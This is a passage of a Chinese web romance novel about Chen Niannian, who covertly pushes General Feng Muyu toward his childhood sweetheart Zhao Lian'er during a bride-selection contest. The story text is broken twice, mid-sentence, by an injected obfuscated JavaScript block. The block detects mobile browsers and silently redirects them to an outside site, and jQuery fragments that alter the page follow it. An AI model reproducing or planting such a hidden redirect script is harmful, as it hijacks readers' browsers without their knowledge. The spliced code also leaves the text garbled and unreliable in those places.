陈念念察觉到他说完话后明显地愣了愣,不知是回忆起了什么,冰凉的眼眸中快速闪过一丝光亮,还偷偷裹挟着一抹前所未有的温情。
是和谁说话,竟让他的眼中流露出了温情?
“不用,我已经很满意了。”
陈念念听见了少女清越温和的声音。
可惜,从她的视角望过去,实在看不见那少女的半分身影。
“那我走了。”
风慕予当即转身向着榴花院外走去,没有理睬在场的任何一人,也自始至终都没有看见陈念念,更别说给她一句爽约的交代。
见风慕予走了,围观人群渐渐散开,但并没有完全离去。
刚刚一直克制着自己的参加者们,终于解放了自己的天性,开始了八卦时间,有的打听着少女的身份,有的品评起她的相貌举止,有的甚至开始拿她和其他参加者进行对比,榴花院中一时更为热闹。
陈念念急忙走上前,向着少女所在的方向望去,望见榴花院北侧的厢房里,一个年约十六七岁的少女,正在认真地布置着房间。
北面的厢房原是空着着,看来,她多了个新邻居。
她从四周的八卦声中得知,少女的名字叫做赵怜儿。
若真是她认识的那个赵怜儿,那她今年应已有二十岁了,竟真的还未出嫁,还千里迢迢赶来参加选妻宴,而且,保养得这么好。
她还听说,风慕予今日没有到小院赴约,是因为赵怜儿在来京路上遇到了危险,他上午时便已经策马离开京城,不辞辛苦赶去相救,夜晚时终于将赵怜儿平安带到了将军府,好一出英雄救美。
她斗胆猜测,风慕予幸福感提升,是因为知道即将要见到赵怜儿?随后,幸福感又突然下降,是因为听说赵怜儿遇到了危险?
这么一解释,简直白月光石锤了。
听完八卦,对今日之事有了较为详细的了解,陈念念心满意足,沿着院子的边沿,悄悄走回自己的房间。她很清楚,这种情况下,自己最好不要露头,否则,少不得成为靶子,吃上一顿嘲讽。
她上前一步,忽觉肩膀上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446682|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被人狠狠推了一下,直直摔向人群。
感觉不太妙。
-
风慕予离开榴花院后,直接向着乘风院而去。
路上,他叫出霜降,开始询问他不在时将军府中的情形。
霜降努力跟上风慕予的脚步,同时将今日将军府中发生的事一点不落地汇报给他:“……今日又在膳房捉了两个企图往膳食中投毒的细作……陈三小姐又得了头名,在小院中待了一下午,方才……”
忽听得陈念念的名字,风慕予的脑中下意识浮现出了她的脸。
花里胡哨的脸,配上古里古怪的笑,无论看过多少遍,看得多么习惯,再看时总还是有新鲜的感觉,真不知是惊喜还是惊吓。
他不由脚步一顿,掉头向着小院而去。
推开院中小屋的门,屋内一片黑暗,空无一人,布置一切如昨,桌椅和地面皆干干净净,仿佛今日根本没有人进来过。
只空气中隐隐残留着一种异样的味道。
像是十几种食物混合的味道。
风慕予的眸光动了动,问:“她都做了些什么。”
霜降回答道:“陈三小姐准备了一顿火锅,应是想要和将军大人一同享用,可惜当时将军大人已经离开了将军府……”
火锅吗?
风慕予忍不住又认真闻了闻。
正好一阵清风自窗外钻入,各种花香混合着各种食物的味道,扑在他的鼻尖上,原本清清淡淡,瞬间变得异常浓烈而刺激。
瞬间勾起了他年少时很多美好的,和不美好的回忆。
这个火锅的味道,和将军府上制作的,外面外的,通通不一样。
是一种独属于她的,让他感到无比熟悉的味道。
他在屋中漫步目的地饶了一圈,皱了皱眉,心绪复杂。
陈念念究竟是什么人?为什么身上总有他那么熟悉的味道?
他已经派人调查过陈念念的身世背景,分明和她没有一点关系。
他追问道:“然后,她做了什么。”
霜降如实道:“陈三小姐见等不见将军大人,便将火锅吃完了,随后睡了两个时辰的午觉,在将军大人回府时,正巧离开了这里。”
吃火锅,睡午觉,倒是一点也不亏待自己。
风慕予没觉得陈念念的举动有什么不对,反而想象出了她大快朵颐和呼呼大睡时的模样,似乎按着她的性格,做什么都尤为正常。
更何况,今日爽约,确是他的问题。
与比拼头名的单独会面,是他早就做下的约定。纵然他并不认同黎修齐定下这样的奖励方式,但从不是个不信守承诺的人。
只是今日事出紧急,他不可能放任赵怜儿的生命于不顾。
想到了什么,风慕予走出小屋,向着榴花院的方向而去。
夜风拂面,一路疾行,他走的是平日里最常走的路——屋顶。
当他悄无声息地落在榴花院屋顶上时,院中的人群仍没有完全散去,十几个人将陈念念强行围在院子中央,气势汹汹,咄咄逼人。
“敢问陈三小姐,今日独守空闺的滋味,好吗?”
“你们看,得了头名有何用?根本抓不住将军大人的心!”
“有些人就是一点自知之明都没有,总想出来吓人……”
……
22. 自责(二合一)
陈念念随意地扫了扫围住她的人,面上颇为无奈,几次尝试着向人群外走,都被人刻意拦住去路。
既然走不成,便干脆站着不走了,任由她们说着。
她倒不是怕她们,只是真懒得对付这些小喽啰。
不过是一群一遭人怂恿煽动就失去了自我判断力,被人当枪使还不自知的工具人罢了,花心思对付她们,对她的任务没有任何意义。
“为什么不说话?我们还没说完你走什么?”
见陈念念不回应,她们更是嚣张得意。
“你看看自己的样子,不过就是一个丑八怪,根本入不了将军大人的眼,相当将军夫人,这辈子死了这条心吧!”
“想来真是为难了将军大人,竟然要和丑八怪独处一日,换做是我,定然也会找个借口将这事躲过去,免得以后都吃不下饭。”
……
陈念念自始至终低着头,没有理睬。
哎,她只希望她们赶紧说完,赶紧给她滚、蛋。
说来说去就那么几句话,一点新意也没有,听得耳朵都起茧了。
她可太难了。
风慕予站在屋顶上,亲眼目睹了院中的一切。
他确实没有想过,他的爽约会给陈念念带来如此大的影响,得到头名本应该风光八面,受人艳羡,她却在此这般受人奚落。
她独自站在十几人的包围圈中,低着头,自始至终一言不发,不知心中在想着什么。他看不见她的神情,却忍不住去猜测。
她会觉得委屈吗?
八年来,他很少在意别人的所思所求。
很少去关注别人正处在什么境地。
更不会轻易对别人生出同情、怜悯或别的什么想法。
却在这一刻,心中控制不住地涌现了一种异样的情绪。
似是自责。
他其实可以将今日之事安排得更妥当。
他翻身而下,落在榴花院的门外。
随即,走向院中。
榴花院中众人见风慕予竟去而复返,皆是一惊。
上一秒还是骂街的泼妇,下一秒个个都成了端庄的大家闺秀,到了嘴边的话,生生咽回去,原本乱糟糟的院子,一时生息全无。
陈念念算是见识到了,果然真正的演技都在日常生活中。
赵怜儿收拾好了行李,正准备关上房门稍作休息,忽见风慕予再次走进院子,只以为是来找她的,立时又将房门完全打开。
仔细地理了理长发和衣裙,她缓缓向着院中走了几步,步子不多,也不少,正好能够出现在风慕予的视野中。
风慕予习惯性扫视了整个院子,见院中总共二十三张脸,模模糊糊,没有太大的区别,只有陈念念的模样,格外清晰而明确。
如同杂草丛中,唯一的一朵红花,引着他去摘下。
他没说话,径直向着陈念念走去。
赵怜儿发现风慕予并没有看她,心中不免闪过一丝疑惑。
忽想起风慕予自小便有不认人的毛病,她们分开了多年,各自的样子都有了些许变化,或许风慕予对她的记忆,也相对模糊了。
她的手不由拽了拽裙摆,面上流露出一丝伤感,犹豫着,想要主动上前拦下风慕予,却又有些怯场,不敢轻易走入人群。
她还穿着白里赶路时的白色长裙和灰色披风,披风上沾染着泥土与灰尘,一侧还有刀剑划破的口子,显出路途的艰险。
她的眼角微微泛红,似是刚刚大哭过,好不容易止住了,此时痴痴地望向风慕予,隐忍着,仿佛随时都要哭出来似的。
咬了咬嘴唇,她小心地出声提醒:“慕哥哥,怜儿在这里。”
站在陈念念正前方的紫衣女子,刚刚骂陈念念骂得最肆意,现在因风慕予在场,虽闭了嘴不再说话,但还总对着陈念念挤眉弄眼。
她看了看风慕予,又看了看赵怜儿,最后冲着陈念念抬了抬下巴,意思无外乎:看,将军大人又来找别人了,却理都不理你。
陈念念心中只余无奈,见没人再拦她,借机向后退了两步。
明明是风慕予和赵怜儿两个人的戏份,跟她没有半毛钱关系,她现在也不想扯上任何关系,安静吃瓜,不要强行带她,好吗?
风慕予听见赵怜儿的声音,立时停下脚步,循声望去。
不远处,暗色的光影中,一个单薄的身影独自站在树旁,一如记忆中那般娇小瘦弱,一如记忆中那句“你往后要好好保护她”。
冰凉的神色稍稍缓和了些,他关切道:“有何事?”
赵怜儿下意识愣了愣,不知该如何回答。
不是风慕予来找她的吗?怎么反倒问她有什么事?
她站在原地,进退两难,原本抬着头看着风慕予,忽低下头,如同做错了什么事,怯生生地回答:“没、没事。”
风慕予没有深究,当即移开了视线,继续向前走。
他走得距离陈念念越来越近,不自觉地开始打量她。
她的妆容一如往常,脸上只有些无奈和不耐烦,隐隐的,眼角还残留着一些刚刚睡醒尚未收敛的睡意,倒不像是受了委屈的模样。
见她正偷偷地向后退,他急忙加快脚步跟上。
赵怜儿隐隐意识到,风慕予并不是来找她的,而是为了别人。
她面上的伤感更重了几分,眼眶微微湿润,不想直接回房,错过见风慕予的机会,却也不想眼睁睁看着风慕予从自己的面前路过。
她忍不住又出声叫住风慕予:“慕哥哥,怜儿想起一事相求。”
风慕予再次止步,道:“你说。”
“我见……”赵怜儿动了动嘴唇,犹豫着,似是害怕风慕予拒绝,顿了顿,才鼓起勇气,恳求道,“院中的小厨房,可否……”
风慕予听懂了赵怜儿的意思,直接说:“你用吧。”
院中众人见风慕予想都没想便同意了,又是大吃一惊。
她们居住的每个院中都配有一个小厨房,但她们却连想都不曾想过真的能开小厨房。能够在将军府拥有一个自己的小厨房,往小了说,是要在将军府中常住,往大了说,可算是将军府的半个主人。
风慕予简简单单三个字,就宣告了赵怜儿在他心中的特殊地位。
陈念念趁着风慕予和赵怜儿的谈话吸引了院中众人的注意力,不动声色地退到自己的房门前,房门一开,再一关,耳朵保住了。
风慕予再回过头看向陈念念时,只看见了她一脚踢上门的背影。
她怎么走了?
因为他爽约,生气了?不想见他?
他刚刚抬起的脚,只得落回原处,原本有话要与她说,有许多问题想要问她,但现在,想了想,总不能强行将她从房间里拽出来。
只能作罢。
达不成目的,他没有在榴花院多待一秒,一闪身,跳上屋顶,转眼消失在茫茫夜色中,不留下只言片语。
院中众人昂着头望着暗色的天空,不明白风慕予究竟是来做什么的。平日里都盼着风慕予出现,此刻,却因他的离去而感到庆幸。
他周身的气息无形之中压得她们喘不过气来。
好像,不太高兴的样子。
-
晨光轻轻浅浅,透过树影落在榴花院中。
透过半开的窗户落在陈念念的梳妆台上。
陈念念看了看镜中的自己,对今日的装扮表示满意。
第二轮比拼刚结束,第三轮比拼的消息明日才会公布,难得的休息日,她却早早起了床,准备去找赵怜儿一同用早膳。
虽不知道风慕予和赵怜儿究竟发展到了什么关系,但关系总归是不同旁人的,她得早点和赵怜儿处得熟些,有利于更好地撮合他们。
“小姐!小姐!”甜橙大声喊着,推开房门,几步走到陈念念的面前,激动地道,“霜降大人亲自送来了这封信,让我交给小姐。”
陈念念当即接过信看了看。
是风慕予写的。
想想也是,能够差使霜降的,只有将军大人。
风慕予的字像极了他如今的性格,一笔一划,刚劲有力,不留余地,又行云流水,洒脱自如,似不愿受任何人事所扰。
明黄的信纸上简单写着几个字:
昨日之事,今日补偿,巳时乘风院中见。
她倒是没想到,风慕予竟会因为昨日放鸽子的事亲自写信给她,她以为这么一点小事,鸽就鸽了,他根本不会放在心上。
而且,还约她在乘风院见面。
据她所知,这些日子企图靠近乘风院的参加者,通通被护卫队狠狠扔出,那日她和陈娉婷进入得异常轻松,想来是风慕予故意的。
他不会是发现了什么,叫她去当面对质吧?
陈念念将信收进袖中,想了想,没有离开榴花院,而是走到赵怜儿的房外,轻轻敲响了她的房门:“赵小姐,你醒了吗?”
“笃笃笃——”“笃笃笃——”
她敲了好几下,却始终不见任何回应。
试探着推了推房门,门直接开了,赵怜儿并不在房内。
她在院中四处找了找,没找到,但闻到了一股浓烈的食物香气,想起昨日风慕予同意赵怜儿开小厨房的事,立时向着小厨房而去。
走到半途,忽有一只手作势掐住了她的喉咙。
似是想要吓她。
她有些好笑地勾了勾唇角,一把扼住脖子上的手。
“痛痛痛!你快放开我!”
陈娉婷叫唤着,狠狠瞪了陈念念一眼,倒是没真生气,拉着陈念念到院中的石桌旁坐下,兴奋地说起她刚听到的消息,“你知道吗?将军府昨日连夜赶走了三十几人,取消了她们参加选妻宴的资格。”
轻哼了一声,她继续笑道,“听说昨夜她们还在院中挑衅你、嘲笑你,是吗?吃不到葡萄说葡萄酸的妒妇,也不照镜子看看自己生得什么鬼样子!落得扫地出门的下场,活该!不过可惜,名单上没有燕梦瑶,若能把燕梦瑶赶出将军府,赶出黎国,才是真的大快人心!”
陈念念忍不住猜测风慕予的用意。
先清理燕梦瑶的跟班,再清理燕梦瑶?
“如今偌大的榴花院中,只剩下你和我,对了,还有昨日新来的赵小姐,这位赵小姐可不一般,她是越国的五公主,听闻昨日那些人被驱逐,就是因为出言侮辱了她,惹得将军大人不高兴……”
陈念念低下头,若有所思。
风慕予为了给赵怜儿出头,不惜得罪各方朝臣?
实力护妻呀!
陈娉婷见陈念念表情有变,忽想到了什么,转而安慰道,“赵小姐数年前曾在黎国为质,与将军大人青梅竹马,将军大人顾念几分旧情,对她稍好些,也是人之常情,不一定……你也别太难过。”
随即,她凑到陈念念的耳边,压低声音说,“她昨日害你没能和将军大人独处,你若不喜欢她,我们就找机会教训教训她!”
陈念念无奈地扁了扁嘴,颇为嫌弃地推开了陈娉婷凑近的脸,若不是她出手干预,就陈娉婷这副恶毒女配的做派,实在活不过三章。
“你别想太多。”为了防止陈娉婷背着她做出什么蠢事,她望向陈娉婷,郑重其事地表示,“我不难过,我挺喜欢她的。”
她期盼已久的赵怜儿终于来了,风慕予的幸福感因为她的出现有了变化,她的任务找到了突破口,她简直想要放鞭炮庆祝好么?
怎么可能难过,怎么可能不喜欢?
一阵清风扑面。
一股浓烈的食物香气落在陈念念的鼻尖上。
她下意识循着香气望去,在东边的树下望见了一个纤细的身影。
赵怜儿穿着一身白色长裙,身上没有太多配饰,一根白玉簪挽起满头秀发,素雅清新,腰上系着一条灰白色的围裙,两边的袖子层层卷起,露出白皙修长的手臂,身上残留的烟火气,透出几分亲和。
丫鬟站在她的身后,手中拿着一个小筐,筐中放着形状各异的食物,热气腾腾,香味四溢。她的丫鬟一身淡蓝色,与甜橙和脆枣穿着的淡黄色不同,应该是她自越国带来的,而不是将军府分配的。
赵怜儿看见院中的陈念念和陈娉婷,向前的脚步不由慢放了些,眼中多了几分怯弱,如同小兔子般,带着几分惊慌失措。
若是直接走开,难免显得不懂礼仪,若是主动上前打招呼,又害怕遭到她们的无视或者拒绝,一时之间,踌躇不定。
陈念念看出赵怜儿为难,招手道:“五公主,可用过早膳?”
赵怜儿闻言,下意识一愣。
她知道许多关于选妻宴的消息,看说话女子的模样,应当就是那个传闻中相貌丑陋,却连获两次头名的陈家三小姐,陈念念。
昨日由于她遭遇意外,风慕予没有赴头名的约会,她以为陈念念即便不出手报复她,至少也会有所怨恨,没想到,竟主动与她说话。
她拿过丫鬟手中的小筐,上前几步,试探着问:“叫我怜儿就好,方才在小厨房中做了一些吃食,两位小姐,可要尝一尝?”
陈娉婷看向赵怜儿,皱了皱眉,没有伸手。
“多谢!叫我念念就好。”
陈念念毫不客气地接过了赵怜儿递来的饼状食物。
并没有太多期待,随意咬下一口,发现味道出乎意料得好。
当年赵怜儿在黎国皇宫为质时,一无所长,弱不禁风,若不是她处处相助,怕是饿死都无人知晓,几年不见,竟有了这般好手艺。
几下吃完,她看向赵怜儿手中的小筐,询问道:“我从未在黎国吃到如此美食,想必是越国特色,可有送去给将军大人尝一尝?”
赵怜儿的脸色忽而泛红,咬了咬嘴唇,反问:“可、可以吗?”
她特意早起准备美食,本就是为了风慕予,却又担心主动找上他太过于不矜持,纠结良久,听得陈念念的话,心中颇为动摇。
“对了。”陈念念夸张地拍了一下脑门,装作想起了什么事,从袖中拿出一封信,“霜降大人送来了这个,我想应是给你的。”
风慕予虽邀请了她,但绝不是真心想要见她,与其见面给他添堵,甚至可能陷自己于困境,不如将他的白月光送上前。
加上他的信写得简洁,无论谁脑补一番,都不会生出怀疑。
借花献佛,一举两得,她可真是个小机灵鬼儿。
赵怜儿当即读了信,面上喜色难以抑制,直接将小筐放在石桌上:“怜儿有事,先走了。”走远了些,听见她交代丫鬟,“双儿,帮我换身衣裳,然后去小厨房挑出最好的装上,跟我去找慕哥哥。”
陈念念又自小筐中拿了个团状食物,一面吃着,一面悠闲地看着,见赵怜儿匆匆进房,又匆匆出门,换了一身新的白色衣裙,纤尘不染,一身配饰,素雅精巧,悉心搭配,与方才的随意截然不同。
想了想,她找了个借口告别陈娉婷,也出了榴花院,跟上赵怜儿到了乘风院外。确认赵怜儿没有受到守卫的阻拦,成功进入了院中,她在院外找了个僻静的地方坐下,细细观察院中的动静。
等了又等,乘风院中完全没有传出任何动静。
直到过了午时,也不见赵怜儿离开乘风院。
虽然不知道风慕予和赵怜儿见面之后说了些什么、做了些什么,但风慕予对赵怜儿的到访没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446683|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有任何反感,便说明她安排得没错。
等得无聊,打了个哈欠,忽听见系统的声音。
【恭喜!任务目标幸福感+10,请继续加油!】
【小结,任务编号099,任务目标风慕予,当前总幸福感-89!】
很好,风慕予的幸福感又提升了,她的方向果然没错。
然而,片刻之后——
【噩耗!任务目标幸福感-10,请继续加油!】
【小结,任务编号099,任务目标风慕予,当前总幸福感-99!】
又是秒升秒降。
怎么回事?
风慕予心中的白月光是赵怜儿,赵怜儿显然也对风慕予有情,明明两情相悦,幸福感却剧烈波动,他们之间一定还存在着大问题。
莫不是真有一出国仇家恨、虐恋情深的大戏?
她先前便有所察觉,选妻宴看似是一场浮夸的宴会,只为给风慕予随心所欲地选择将军夫人,实际上却隐含着朝堂各方乃至各个邻国之间的纷争,燕梦瑶便是这些纷争中的标志人物。
燕梦瑶在选妻宴上投入了大量精力和财力,屡屡被打脸,仍不放弃,明明心狠手辣,却再三隐忍,背后的目的,绝不单纯。
同理,时隔多年,越国再次将赵怜儿送来黎京,真的只是参加选妻宴那么简单?
显然,还有很多隐藏的问题,等着她继续探索。
陈念念没再干等,在将军府中逛了逛,没发现有用线索,便回了榴花院,见赵怜儿的丫鬟双儿独自守在院中,准备趁机套点话。
可惜,刚要问到重点,赵怜儿回来了。
同赵怜儿一起走进榴花院的,还有不少府上的丫鬟和小厮,抬着一个个沉甸甸的箱子,排成一条长长的队伍,陆续搬进赵怜儿房中。
不用想也知道,风慕予送了赵怜儿不少东西。
赵怜儿见陈念念站在院中,自然地走到陈念念的面前,兴奋地主动说起与风慕予见面的情形:“慕哥哥很喜欢我做的吃食,同我说起了许多关于将军府的事,不知不觉竟忘了时辰……”
垂下眼,两颊带着浅浅红晕,越说越是羞怯,“他还告诉我,第三轮比拼将比前两轮都要困难得多,与武力有关,所以送了我许多东西,让我以备不时之需,争取能够夺得一个好成绩……”
陈念念忍不住上前看了看。
然后,“……”
别人家想要讨女孩子欢心,都会送些绫罗绸缎、珠宝首饰,若是觉得俗气,换成古玩字画也是好的,看看风慕予送的都是些什么?
刀剑?弓箭?一整箱跌打损伤膏?
他是在犒劳立了战功的士兵吗?
直男的脑回路,恕她无法认同。
赵怜儿见陈念念偏过头不说话,以为陈念念因为风慕予的赠礼而心生不悦,急忙解释道:“慕哥哥只是看在儿时的旧情上,才对我稍加关照,绝没有别的意思,陈三小姐,你不要多想。”
陈念念转回头看了看赵怜儿,不禁皱了皱眉。
从前,她只觉赵怜儿娇小柔弱,可怜无助,便尽可能地给予些庇护,现在,少女依旧娇小可怜,却似乎多了种浓浓的绿茶味?
回越国后,赵怜儿不但学习了厨艺,显然还研究了茶艺。
算了算了。
掌握点茶艺也没什么不好。
只要风慕予喜欢,她的感受不重要。
整理完所有赠礼,赵怜儿又差使风慕予派来的丫鬟和小厮为小厨房准备食材:“慕哥哥答应我,等忙完要事,过来一起用晚膳。”
她还热情地邀请陈念念和陈娉婷,“怜儿没有别的手艺,唯有亲手做的吃食,尚能入口,念念,娉婷,晚上也一起来尝尝吧。”
“不了,我有……”
陈念念知道赵怜儿只是客气客气,当即表示拒绝。
她不但不会留下一起用膳,还会躲得远远的,绝对不当电灯泡。
然而,陈娉婷打断了陈念念的话,一把揽过陈念念的肩膀,自顾自答应道:“好呀,那你可要好好准备,别让我们太失望。”
明艳动人的脸上,笑意张扬,一副不想让赵怜儿好过的模样,势要将恶毒女配的戏路进行到底,而且,还拼命拖着陈念念一起下水。
陈念念无奈地摇了摇头。
下次交朋友,一定得交个有脑子的。
暮色四合,月光渐渐洒满了整个庭院。
赵怜儿有条不紊地在小厨房中准备着。
各种食物的香气充斥着榴花院各个角落。
陈念念在院中把玩着赵怜儿转赠给她的弓箭,拿起弓,拉开弦,对准不远处的树干,放开手,“啪——”一声,箭掉在了地上。
她会些拳脚,能使刀剑,平日不缺防身之术,但对于弓箭,确是一窍不通,风慕予曾经亲自教过她,可惜她连一点皮毛都没有学会。
“姿势不对。”
远远地,传来风慕予的声音。
“手势也不对。”
下一秒,他的声音已到了近处。
风慕予忽出现在了陈念念的身后,离得她很近,侧着身,一手抬了抬她的手臂,一手调整了一下箭尾,随后,直接抓住她的手,修长的手指覆在她的手背上,略有些粗糙,带着风吹后浅浅的凉意。
陈念念下意识偏头看向风慕予,看见他近在眼前的侧脸,不由一惊,想要往后推开,刚一动作,一头撞在了他的肩上。
她清晰记得,在长公主府时,他便是这样手把手,用几乎将她揽在怀里的姿势教导她的,当时并没觉得有什么不妥,现在才意识到,这么亲密的教学姿势,不是撩妹时才会用到的吗?
风慕予稍稍弯下腰,握紧手掌,引导着陈念念的手,一起将弓弦拉满,随时准备放手,告诫道:“我在教你,认真点。”
陈念念只感觉到低音炮冲击着她的听觉神经,温热的呼吸一下一下扑在她的耳朵上,扑在她的眼角、她的睫毛,有些痒,却不能挠。
她不过一时兴起试一试射箭,并不是真心想要学习箭术,明明应该直接推开他,身体却不受控制地僵硬在原地,任由他的摆布。
风慕予忽而放手,羽箭飞出,“嗖——”一声,准确无误地射在陈念念瞄准的树干上,力道颇大,使得树枝晃了晃,落下不少叶子。
一箭完毕,他却没有放开她的意思,引着她从箭筒中又取出一支箭,架上,拉满,却迟迟不射出,只问,“今日为何不来?”
陈念念想不到会被风慕予当面问起,没有事先编好答案,决定强行装不知道,反问,“今日,为何要去?我不懂将军大人的意思。”
风慕予自然不信,又问,“怕我发现什么?”
顿了顿,自己回答,“你脸上的胎记,每日都不同。”
陈念念一惊,下意识想要捂住自己的脸,却发现双手都被风慕予紧紧握着,抬起头看他,看不清他的眼中,究竟藏着什么意图。
脸上的胎记是现画的,她又不是绘画大师,自然每次画的都有所不同,但也不过是极为细小的差别,不细看,根本难以发现。
风慕予看她看得那么仔细做什么?
她的身世尚不明朗,引起他的怀疑,可不是什么好事。
风慕予见陈念念不答话,没有再追问。
再次放箭,正中目标,他低头道,“这个感觉,记住了。”
不知不觉间,他的身体越发贴近她,手臂几乎挨在一起,衣衫在风中交叠,难分彼此,他必然有所察觉,却并没有顾忌。
“哐当——”
什么东西跌落在地。
清晰响亮的声音一下打破了院中的平静。
23. 收网
陈念念回过神,循声望去。
通往小厨房的小路上,灯火稍暗,月光倾泻,树影横斜。
赵怜儿一身白衣,脸颊因辛苦忙碌而微微泛红,本要走向院中,却忽停止在半途,抬着头,双眼愣愣地望向一处,眸光中满是不敢置信,双手僵硬地保持着端着什么的姿势,久久没有放下。
她身前的地面上,落着一只碎裂的瓦罐。
热气腾腾的汤汁倾倒而出,四溢流淌。
陈念念心下不妙,一把推开风慕予,向着赵怜儿跑去。
看赵怜儿震惊的眼神,显然是想多了。
她也是没有料到,一个不注意,这种宛如偷情被抓包的狗血误会情节,就发生在了她的身上。
赵怜儿率先开口,声音低低的弱弱的,心虚得毫无说服力:“实在太烫了,没能拿稳,没关系的,我再去准备一份就好。”
说完,她蹲下身收拾地上的瓦罐,纤细的手指触碰锋利的瓦片,仿佛随时会被划伤,眼眶微微泛红,眼角晶莹闪烁着凉凉的月光。
委屈,脆弱,却强撑着的模样,瞬间绿茶味满点。
陈念念急忙上前将赵怜儿拉起:“你小心些,别乱动。”
同时招了招手唤来甜橙,“赶紧收拾干净。”
她强拉着赵怜儿走向风慕予,原本想将赵怜儿的手交给他,却见他一手拿弓,一手拿箭,并没有空着的手,只得直接提议道,“将军大人只是在教我如何射箭,怜儿来得正好,可要一起学一学?”
说着,她疯狂用眼神示意他说些什么。
风慕予只道:“她自小姿势标准,箭术精湛,无需再学。”
陈念念深深吸了一口气,强压下想把风慕予教训一顿的冲动。
赵怜儿这会儿想听的是夸奖吗?人家想听的是解释!若是不会解释,照着刚对她做的也对赵怜儿来一套,保证轻松就把人哄好了。
可他,一脚就把她为他搭好的台阶给踩碎了。
赵怜儿的面上更多了一丝苦涩,忍不住偷偷抬头打量风慕予,又迅速低下头,害怕他看见自己眼中越来越朦胧的雾气,咬了咬嘴唇,道,“灶上还煮着东西,我得先回去了,不打扰你们。”
推开陈念念的手,头也不回地向小厨房跑去。
陈念念轻轻推了推风慕予,示意他去追,却见他完全没有吸取教训,一把拉过她的手,搭在弓上,道:“一塌糊涂,还不想学?”
她似乎明白风慕予和赵怜儿之间的大问题是什么了。
特么就风慕予的情商,完全是凭本事单身。
晚膳丰盛而美味,皆出自赵怜儿之手。
陈念念落座后,看看风慕予,见风慕予面无表情,一言不发,又看看赵怜儿,见赵怜儿红肿着眼,犹豫着想说什么,却也没有开口。
邀请她们,想必是肠子都悔青了。
明明是为增进感情而约的饭局,气氛却异常僵持。
唯有陈娉婷,没心没肺地睡了一下午,不知原委,看着赵怜儿面带愁绪,似刚刚哭过,没来由的高兴,吃得格外畅快。
-
第三轮比拼的内容正式公布了。
风慕予身为赤影将军,自小南征北战,风餐露宿,即使休战时,也要应付各种各样的暗杀,他要求他的妻子能够伴随他左右,掌握较好的险境自保能力和野外生存能力,第三轮比拼,由此而生。
首先,所有参加者需要在将军府内进行为期七日的学习,学习课程包括刀剑、骑射、侦查、急救等等,学习完成后,所有参加者将被送往京城以东的海岛,在海岛上进行野外考核,角逐前三甲。
所有参加者都对此毫无准备,面露难色。
她们几乎都是十指不沾阳春水的千金小姐,带着一身琴棋歌舞技艺前来竞争当将军夫人,怎么这会儿,好像要去参军似的?
陈娉婷:“怎么会这样?前两届根本没有动刀动枪的比拼!”
柳倾眉:“请问我现在弃赛还来得及吗?”
陈念念只想对风慕予说,不想选妻就别选,把人全都赶走就行。
这么变着法儿的折腾,真是不讲道理。
第一节课,学刀剑。
燕梦瑶自小舞刀弄剑,优势明显,表现突出。
没想到,赵怜儿看着手无缚鸡之力,拿起剑却像是变了一个人,一套剑法使得行云流水,毫不逊色于燕梦瑶,顿时引得全场瞩目。
所有参加者都认真学着,不说有模有样,至少无大差错。
然而,陈念念转身一剑,直直刺在了女管事的发髻上。
第二节课,学骑射。
燕梦瑶扬鞭策马,十发九中,表现在意料之中。
赵怜儿毫不相让,翻身上马,拉弓放箭,动作看着轻巧,却几乎力透靶心,确实如风慕予所说,姿势标准,箭术精湛,无需再教。
“嗖——”
陈念念手中的箭应声飞出。
“啪嗒——”
很好,脱靶。
风慕予教的,她再次一点儿也没学会。
……
为期七日的高强度学习,仿如军训。
终于结束后,所有参加者皆精疲力竭,叫苦不迭。
只有赵怜儿和燕梦瑶毫无怨言,脱颖而出,难分上下。
成为新的两大热门人选。
陈念念终于离开舆论的旋涡,被遗忘在了角落里。
“怜儿,明日一早我们便要离开将军府,去往京城以东的小岛,也不知岛上环境如何?将军大人有没有向你透露一点内部消息?”
这些日子,陈念念顿顿都在赵怜儿这儿蹭饭吃,已完全被赵怜儿的美食所收服,赵怜儿见她没有恶意,也并不拒绝她的主动接近。
用完晚膳,她没有回房间,而是到了赵怜儿房前打探消息。
“没有。”赵怜儿脱口而出,愣了愣神,又急急解释道,“慕哥哥已给过我提示,现比拼开始,他自当公平公正。”
她说得理所当然,眸光却暗了暗,心中泛起一丝酸涩。
她开始怀疑风慕予是如何看待她的。
他不顾自己的性命也要救下她,必定是在意她的。
她理当和所有其他参加者不同,于他而言是特殊的,可为什么这么多天,他都没有主动来看她一眼,甚至,没有一句多余的话语。
陈念念看向赵怜儿干瘪的行李,问:“你准备带些什么?”
赵怜儿如实道:“一些衣物,还有慕哥哥送的剑和药。”
双儿询问道:“公主,今日做的吃食,可要多带上一些?”
陈念念不等赵怜儿回答,抢先道:“带,都带上。”
顿了顿,她又提议道,“锅呢?酱呢?把你那口特制的锅和那几罐特制的酱料都带上,岛上的条件不比将军府,到时将军大人若是吃的不好,以你的厨艺,多做一些吃食,他肯定会极为开心的。上岛之后不能带着丫鬟,若是
